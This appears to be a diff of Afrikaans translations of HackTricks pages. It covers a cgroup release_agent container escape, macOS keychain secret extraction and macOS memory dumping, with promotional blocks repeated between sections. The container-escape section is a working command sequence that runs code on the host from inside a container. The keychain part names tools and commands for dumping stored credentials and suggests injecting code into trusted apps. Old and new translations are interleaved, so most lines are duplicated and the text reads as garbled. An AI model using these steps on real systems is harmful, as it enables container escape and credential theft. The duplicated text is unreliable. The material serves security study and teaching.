- Die RDMA cgroup-beheerder word aan hierdie gids gekoppel. In geval van afwesigheid van die RDMA-beheerder, word dit voorgestel om die `memory` cgroup-beheerder as 'n alternatief te gebruik.
```shell
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
```
2. **Stel die Kind Cgroup op:**
- 'n Kind Cgroup genaamd "x" word binne die gemonteerde cgroup-gids geskep.
- Kennisgewings word geaktiveer vir die "x" cgroup deur 1 na sy notify_on_release-lêer te skryf.
- 'n Kind cgroup genaamd "x" word geskep binne die gemonteerde cgroup gids.
- Kennisgewings word geaktiveer vir die "x" cgroup deur 1 na sy notify_on_release lêer te skryf.
```shell
echo 1 > /tmp/cgrp/x/notify_on_release
```
3. **Stel die Vrylatingsagent in:**
3. **Stel die Vrystellingsagent in:**
- Die pad van die houer op die gasheer word verkry uit die /etc/mtab-lêer.
- Die release_agent-lêer van die cgroup word dan ingestel om 'n skripsie genaamd /cmd uit te voer wat geleë is op die verkryde gasheerpad.
- Die release_agent-lêer van die cgroup word dan ingestel om 'n skrip genaamd /cmd uit te voer wat op die verkrygte gasheerpad geleë is.
```shell
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
```
4. **Skep en konfigureer die /cmd-skrip:**
- Die /cmd-skrip word binne die houer geskep en gekonfigureer om ps aux uit te voer, waar die uitset na 'n lêernaam /output in die houer omgelei word. Die volledige pad van /output op die gasheer word gespesifiseer.
4. **Skep en Konfigureer die /cmd Skrip:**
- Die /cmd skrip word binne die houer geskep en ingestel om ps aux uit te voer, waar die uitset na 'n lêer genaamd /output in die houer omgelei word. Die volledige pad van /output op die gasheer word gespesifiseer.
```shell
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
```
5. **Trigger die Aanval:**
- 'n Proses word geïnisieer binne die "x" kind cgroup en word onmiddellik beëindig.
- Dit trigger die `release_agent` (die /cmd skrip), wat ps aux op die gasheer uitvoer en die uitset na /output binne die houer skryf.
5. **Lokaliseer die Aanval:**
- 'n Proses word geïnisieer binne die "x" kind cgroup en word dadelik beëindig.
- Dit lok die `release_agent` (die /cmd-skrip) uit, wat ps aux op die gasheer uitvoer en die uitset na /uitset binne die houer skryf.
```shell
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
```
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steelmalware** **gekompromiteer** is.
Hul primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteelmalware.
Jy kan hul webwerf besoek en hul enjin vir **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**SUBSKRIPSIEPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

@ -2,66 +2,80 @@
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## Hoof Sleutelbosse
## WhiteIntel
* Die **Gebruiker Sleutelbos** (`~/Library/Keychains/login.keycahin-db`), wat gebruik word om **gebruikerspesifieke geloofsbriewe** soos toepassingswagwoorde, internetwagwoorde, gebruikers gegenereerde sertifikate, netwerkwagwoorde en gebruikers gegenereerde openbare/privaat sleutels te stoor.
* Die **Stelsel Sleutelbos** (`/Library/Keychains/System.keychain`), wat **stelselwye geloofsbriewe** soos WiFi-wagwoorde, stelsel-rootsertifikate, stelsel private sleutels en stelseltoepassingswagwoorde stoor.
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
### Toegang tot Sleutelbos Wagwoorde
[**WhiteIntel**](https://whiteintel.io) is 'n **donkerweb**-aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steelmalware** gekompromitteer is.
Hierdie lêers, alhoewel hulle nie inherente beskerming het en **afgelaai** kan word nie, is versleutel en vereis die **gebruiker se platte tekst wagwoord om ontsluit** te word. 'n Hulpmiddel soos [**Chainbreaker**](https://github.com/n0fate/chainbreaker) kan gebruik word vir ontsleuteling.
Die primêre doel van WhiteIntel is om rekeningoorneem te bekamp en lospryse-aanvalle as gevolg van inligtingsteelmalware te voorkom.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
---
## Hoof Sleutelbose
* Die **Gebruiker Sleutelbos** (`~/Library/Keychains/login.keycahin-db`), wat gebruik word om **gebruikerspesifieke geloofsbriewe** soos aansoek wagwoorde, internet wagwoorde, gebruikers gegenereerde sertifikate, netwerk wagwoorde, en gebruikers gegenereerde openbare/privaat sleutels te stoor.
* Die **Stelsel Sleutelbos** (`/Library/Keychains/System.keychain`), wat **stelselwye geloofsbriewe** soos WiFi-wagwoorde, stelsel wortelsertifikate, stelsel private sleutels, en stelsel aansoek wagwoorde stoor.
### Toegang tot Wagwoord Sleutelbos
Hierdie lêers, alhoewel hulle nie inherente beskerming het en afgelei kan word nie, is versleutel en vereis die **gebruiker se platte tekst wagwoord om ontsluit** te word. 'n Gereedskap soos [**Chainbreaker**](https://github.com/n0fate/chainbreaker) kan gebruik word vir ontsleuteling.
## Sleutelbosinskrywingsbeskerming
### ACL's
### ACLs
Elke inskrywing in die sleutelbos word beheer deur **Toegangsbeheerlyste (ACL's)** wat bepaal wie verskeie aksies op die sleutelbosinskrywing kan uitvoer, insluitend:
Elke inskrywing in die sleutelbos word geregeer deur **Toegangsbeheerlyste (ACLs)** wat bepaal wie verskeie aksies op die sleutelbosinskrywing kan uitvoer, insluitend:
* **ACLAuhtorizationExportClear**: Laat die houer toe om die geheime teks te kry.
* **ACLAuhtorizationExportWrapped**: Laat die houer toe om die geheime teks versleutel met 'n ander voorsiene wagwoord te kry.
* **ACLAuhtorizationExportClear**: Laat die houer toe om die teks van die geheim te kry.
* **ACLAuhtorizationExportWrapped**: Laat die houer toe om die teks versleutel met 'n ander voorsiene wagwoord te kry.
* **ACLAuhtorizationAny**: Laat die houer toe om enige aksie uit te voer.
Die ACL's word verder vergesel deur 'n **lys van vertroude toepassings** wat hierdie aksies sonder 'n versoek kan uitvoer. Dit kan wees:
Die ACLs word verder vergesel deur 'n **lys van vertroue toepassings** wat hierdie aksies sonder vraag kan uitvoer. Dit kan wees:
* &#x20;**N`il`** (geen toestemming vereis, **almal is vertrou**)
* 'n **Leë** lys (**niemand** is vertrou)
* &#x20;**N`il`** (geen toestemming benodig, **almal is vertrou**)
* 'n **leë** lys (**niemand** is vertrou)
* **Lys** van spesifieke **toepassings**.
Die inskrywing kan ook die sleutel **`ACLAuthorizationPartitionID`** bevat, wat gebruik word om die **teamid, apple,** en **cdhash** te identifiseer.
Ook kan die inskrywing die sleutel **`ACLAuthorizationPartitionID`,** bevat wat gebruik word om die **teamid, apple,** en **cdhash** te identifiseer.
* As die **teamid** gespesifiseer is, moet die gebruikte toepassing dieselfde **teamid** hê om toegang tot die inskrywingwaarde **sonder** 'n versoek te verkry.
* As die **apple** aangedui is, moet die toepassing deur **Apple** onderteken word.
* As die **cdhash** aangedui word, moet die toepassing die spesifieke **cdhash** hê.
* As die **teamid** gespesifiseer is, moet die gebruikte toepassing dieselfde **teamid** hê om die inskrywing waarde **sonder** 'n **vraag** te **benader**.
* As die **apple** gespesifiseer is, moet die toepassing deur **Apple** wees.
* As die **cdhash** aangedui is, moet die toepassing die spesifieke **cdhash** hê.
### Die Skep van 'n Sleutelbosinskrywing
### Skep van 'n Sleutelbosinskrywing
Wanneer 'n **nuwe** **inskrywing** geskep word met behulp van **`Keychain Access.app`**, geld die volgende reëls:
Wanneer 'n **nuwe** **inskrywing** geskep word met behulp van **`Keychain Access.app`**, geld die volgende reels:
* Alle toepassings kan versleutel.
* **Geen toepassings** kan uitvoer/ontsleutel nie (sonder om die gebruiker te versoek).
* **Geen toepassings** kan uitvoer/ontsleutel (sonder om die gebruiker te vra).
* Alle toepassings kan die integriteitskontrole sien.
* Geen toepassings kan ACL's verander nie.
* Die **partitionID** word ingestel op **`apple`**.
* Geen toepassings kan ACLs verander nie.
* Die **partitionID** is ingestel op **`apple`**.
Wanneer 'n **toepassing 'n inskrywing in die sleutelbos skep**, is die reëls effens anders:
Wanneer 'n **toepassing 'n inskrywing in die sleutelbos skep**, is die reels effens anders:
* Alle toepassings kan versleutel.
* Slegs die **skeppende toepassing** (of enige ander toepassings wat eksplisiet bygevoeg is) kan uitvoer/ontsleutel (sonder om die gebruiker te versoek).
* Slegs die **skeppende toepassing** (of enige ander toepassings wat eksplisiet bygevoeg is) kan uitvoer/ontsleutel (sonder om die gebruiker te vra).
* Alle toepassings kan die integriteitskontrole sien.
* Geen toepassings kan ACL's verander nie.
* Die **partitionID** word ingestel op **`teamid:[teamID hier]`**.
* Geen toepassings kan ACLs verander nie.
* Die **partitionID** is ingestel op **`teamid:[spanID hier]`**.
## Toegang tot die Sleutelbos
@ -76,72 +90,84 @@ security find-generic-password -a "Slack" -g
# Change the specified entrys PartitionID entry
security set-generic-password-parition-list -s "test service" -a "test acount" -S
```
### APIs
### API's
{% hint style="success" %}
Die **sleutelketting enumerasie en dump** van geheime wat **nie 'n vraag sal genereer** nie, kan gedoen word met die instrument [**LockSmith**](https://github.com/its-a-feature/LockSmith)
Die **sleutelketting enumerasie en dump** van geheime wat **nie 'n venster sal genereer** nie, kan gedoen word met die gereedskap [**LockSmith**](https://github.com/its-a-feature/LockSmith)
{% endhint %}
Lys en kry **inligting** oor elke sleutelkettinginskrywing:
Lys en kry **inligting** oor elke sleutelketting inskrywing:
* Die API **`SecItemCopyMatching`** gee inligting oor elke inskrywing en daar is sekere eienskappe wat jy kan instel wanneer jy dit gebruik:
* **`kSecReturnData`**: As waar, sal dit probeer om die data te ontsluit (stel dit in as vals om potensiële opduikende vensters te vermy)
* **`kSecReturnRef`**: Kry ook verwysing na sleutelkettingitem (stel dit in as waar in die geval dat jy sien jy kan ontsluit sonder opduikende venster)
* **`kSecReturnData`**: As waar, sal dit probeer om die data te ontsluit (stel in op vals om potensiële pop-ups te vermy)
* **`kSecReturnRef`**: Kry ook verwysing na sleutelketting item (stel in op waar in geval jy later sien jy kan ontsluit sonder 'n pop-up)
* **`kSecReturnAttributes`**: Kry metadata oor inskrywings
* **`kSecMatchLimit`**: Hoeveel resultate om terug te gee
* **`kSecClass`**: Watter soort sleutelkettinginskrywing
* **`kSecMatchLimit`**: Hoeveel resultate om terug te keer
* **`kSecClass`**: Watter soort sleutelketting inskrywing
Kry **ACL's** van elke inskrywing:
* Met die API **`SecAccessCopyACLList`** kan jy die **ACL vir die sleutelkettingitem** kry, en dit sal 'n lys van ACL's teruggee (soos `ACLAuhtorizationExportClear` en die ander voorheen genoemde) waar elke lys het:
* Met die API **`SecAccessCopyACLList`** kan jy die **ACL vir die sleutelketting item** kry, en dit sal 'n lys van ACL's teruggee (soos `ACLAuhtorizationExportClear` en die ander voorheen genoemde) waar elke lys het:
* Beskrywing
* **Vertroude Aansoeklys**. Dit kan wees:
* 'n Toepassing: /Applications/Slack.app
* 'n Binêre: /usr/libexec/airportd
* 'n Groep: group://AirPort
* 'n Toep: /Applications/Slack.app
* 'n binêre: /usr/libexec/airportd
* 'n groep: group://AirPort
Voer die data uit:
* Die API **`SecKeychainItemCopyContent`** kry die platte teks
* Die API **`SecItemExport`** voer die sleutels en sertifikate uit, maar moontlik moet wagwoorde gestel word om die inhoud versleutel uit te voer
* Die API **`SecItemExport`** voer die sleutels en sertifikate uit maar moet moontlik wagwoorde instel om die inhoud versleutel uit te voer
En hier is die **vereistes** om 'n geheim sonder 'n vraag uit te voer:
En hierdie is die **vereistes** om 'n geheim te kan **uitvoer sonder 'n venster**:
* As daar **1+ vertroude** programme gelys word:
* Benodig die toepaslike **magtigings** (**`Nil`**, of wees deel van die toegelate lys van programme in die magtiging om toegang tot die geheime inligting te verkry)
* As daar **1+ vertroude** aansoeke gelys is:
* Benodig die toepaslike **magtigings** (**`Nil`**, of wees **deel** van die toegelate lys van aansoeke in die magtiging om die geheime inligting te benader)
* Benodig kodehandtekening om ooreen te stem met **PartitionID**
* Benodig kodehandtekening om ooreen te stem met dié van een **vertroude toepassing** (of wees 'n lid van die regte KeychainAccessGroup)
* As **alle programme vertrou** word:
* Benodig kodehandtekening om ooreen te stem met dié van een **vertroude aansoek** (of wees 'n lid van die regte KeychainAccessGroup)
* As **alle aansoeke vertrou** word:
* Benodig die toepaslike **magtigings**
* Benodig kodehandtekening om ooreen te stem met **PartitionID**
* As daar **geen PartitionID** is, is dit nie nodig nie
{% hint style="danger" %}
Daarom, as daar **1 aansoek gelys** word, moet jy **kode in daardie aansoek inspuit**.
Daarom, as daar **1 aansoek gelys** is, moet jy **kode inspuit in daardie aansoek**.
As **apple** aangedui word in die **partitionID**, kan jy dit met **`osascript`** toegang kry, sodat enige iets wat alle programme met apple in die partitionID vertrou. **`Python`** kan ook hiervoor gebruik word.
As **apple** aangedui word in die **partitionID**, kan jy dit benader met **`osascript`** sodat enige iets wat al die aansoeke met apple in die partitionID vertrou. **`Python`** kan ook hiervoor gebruik word.
{% endhint %}
### Twee addisionele eienskappe
* **Onsigbaar**: Dit is 'n booleaanse vlag om die inskrywing van die **UI** Sleutelketting-toepassing te **versteek**
* **Algemeen**: Dit is om **metadata** te stoor (dit is NIE VERSLEUTELD nie)
* Microsoft het al die verfrissingsnommers om toegang tot sensitiewe eindpunte te verkry, in platte teks gestoor.
* **Onsigbaar**: Dit is 'n booleaanse vlag om die inskrywing van die **UI** Sleutelketting app te **versteek**
* **Algemeen**: Dit is om **metadata** te stoor (dit is DUS NIE VERSLEUTELD NIE)
* Microsoft het al die verfris tokens om toegang tot sensitiewe eindpunt te kry, in die platte teks gestoor.
## Verwysings
* [**#OBTS v5.0: "Lock Picking the macOS Keychain" - Cody Thomas**](https://www.youtube.com/watch?v=jKE1ZW33JpY)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **donker-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **diefstal malware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekening oorneem te bekamp en losgeldware aanvalle te voorkom wat voortspruit uit inligtingsteel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks in PDF aflaai** Besoek die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -1,42 +1,56 @@
# macOS-geheue-dump
# macOS Geheue Dumping
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
## Geheue-artefakte
## WhiteIntel
### Ruil-lêers
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
Ruil-lêers, soos `/private/var/vm/swapfile0`, dien as **kasgeheue wanneer die fisiese geheue vol is**. Wanneer daar geen spasie meer in die fisiese geheue is nie, word die data na 'n ruil-lêer oorgedra en dan weer na die fisiese geheue gebring as dit nodig is. Daar kan verskeie ruil-lêers teenwoordig wees, met name soos swapfile0, swapfile1, en so aan.
[**WhiteIntel**](https://whiteintel.io) is 'n **donkerweb**-aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steel-malware** gekompromitteer is.
### Hibernasie-beeld
Die primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Die lêer wat by `/private/var/vm/sleepimage` geleë is, is krities tydens **hibernasie-modus**. **Data vanaf die geheue word in hierdie lêer gestoor wanneer OS X hibernasie ondergaan**. Wanneer die rekenaar wakker word, haal die stelsel geheuedata uit hierdie lêer, sodat die gebruiker kan voortgaan waar hy opgehou het.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
Dit is die moeite werd om daarop te let dat hierdie lêer op moderne MacOS-stelsels tipies vir veiligheidsredes versleutel is, wat herwinning moeilik maak.
{% embed url="https://whiteintel.io" %}
---
## Geheue Artefakte
### Ruil lêers
Ruil lêers, soos `/private/var/vm/swapfile0`, dien as **kasgeheue wanneer die fisiese geheue vol is**. Wanneer daar geen spasie meer in fisiese geheue is nie, word die data na 'n ruil lêer oorgedra en dan weer na fisiese geheue gebring as dit nodig is. Verskeie ruil lêers kan teenwoordig wees, met name soos swapfile0, swapfile1, ensovoorts.
### Hiberneerbeeld
Die lêer wat geleë is by `/private/var/vm/sleepimage` is noodsaaklik tydens **hibernasiemodus**. **Data vanaf geheue word in hierdie lêer gestoor wanneer OS X hiberneer**. Met die ontwaking van die rekenaar haal die stelsel geheuedata uit hierdie lêer, wat die gebruiker in staat stel om voort te gaan waar hulle opgehou het.
Dit is die moeite werd om op te let dat op moderne MacOS-stelsels hierdie lêer tipies vir sekuriteitsredes versleutel is, wat herwinning moeilik maak.
* Om te kontroleer of versleuteling geaktiveer is vir die sleepimage, kan die opdrag `sysctl vm.swapusage` uitgevoer word. Dit sal wys of die lêer versleutel is.
### Geheuedruk-logboeke
### Geheuedruklogs
'n Ander belangrike geheue-verwante lêer in MacOS-stelsels is die **geheuedruk-logboeke**. Hierdie logboeke is geleë in `/var/log` en bevat gedetailleerde inligting oor die stelsel se geheuegebruik en drukgebeure. Dit kan besonder nuttig wees vir die diagnose van geheue-verwante probleme of om te verstaan hoe die stelsel oor tyd geheue bestuur.
'n Ander belangrike geheue-verwante lêer in MacOS-stelsels is die **geheuedruklog**. Hierdie logboeke is geleë in `/var/log` en bevat gedetailleerde inligting oor die stelsel se geheuegebruik en drukgebeure. Dit kan veral nuttig wees vir die diagnose van geheue-verwante probleme of om te verstaan hoe die stelsel oor tyd geheue bestuur.
## Geheue dump met osxpmem
Om die geheue in 'n MacOS-rekenaar te dump, kan jy [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip) gebruik.
**Let op**: Die volgende instruksies sal slegs werk vir Macs met Intel-argitektuur. Hierdie instrument is nou gearchiveer en die laaste vrystelling was in 2017. Die binêre lêer wat deur die instruksies hieronder afgelaai word, is gemik op Intel-skyfies omdat Apple Silicon nie in 2017 bestaan het nie. Dit mag moontlik wees om die binêre lêer vir arm64-argitektuur te kompileer, maar jy sal dit self moet probeer.
**Nota**: Die volgende instruksies sal slegs werk vir Macs met Intel-argitektuur. Hierdie instrument is nou gearchiveer en die laaste vrystelling was in 2017. Die binêre lêer wat met die instruksies hieronder afgelaai is, teiken Intel-skyfies omdat Apple Silicon nie in 2017 bestaan het nie. Dit mag moontlik wees om die binêre lêer vir arm64-argitektuur te kompileer, maar jy sal dit self moet probeer.
```bash
#Dump raw format
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
@ -44,16 +58,16 @@ sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
#Dump aff4 format
sudo osxpmem.app/osxpmem -o /tmp/dump_mem.aff4
```
As jy hierdie fout vind: `osxpmem.app/MacPmem.kext kon nie gelaai word nie - (libkern/kext) verifikasie mislukking (lêer eienaarskap/permisies); kyk na die stelsel/kernel-logboeke vir foute of probeer kextutil(8)` Jy kan dit regmaak deur:
Indien jy hierdie fout vind: `osxpmem.app/MacPmem.kext kon nie laai nie - (libkern/kext) verifikasie mislukking (lêer eienaarskap/permisies); kyk na die stelsel/kernel logboeke vir foute of probeer kextutil(8)` Jy kan dit regmaak deur:
```bash
sudo cp -r osxpmem.app/MacPmem.kext "/tmp/"
sudo kextutil "/tmp/MacPmem.kext"
#Allow the kext in "Security & Privacy --> General"
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
```
**Ander foute** kan opgelos word deur die **laai van die kext** toe te staan in "Security & Privacy --> Algemeen", staan dit net **toe**.
**Ander foute** kan dalk reggestel word deur **die laai van die kext** in "Sekuriteit & Privaatheid --> Algemeen", net **staan** dit toe.
Jy kan ook hierdie **oneliner** gebruik om die toepassing af te laai, die kext te laai en die geheue te dump:
Jy kan ook hierdie **eenlynige kode** gebruik om die aansoek af te laai, die kext te laai en die geheue te dump:
{% code overflow="wrap" %}
```bash
@ -62,16 +76,28 @@ cd /tmp; wget https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-
```
{% endcode %}
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte **gekompromiteer** is deur **stealer malware**.
Hul primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
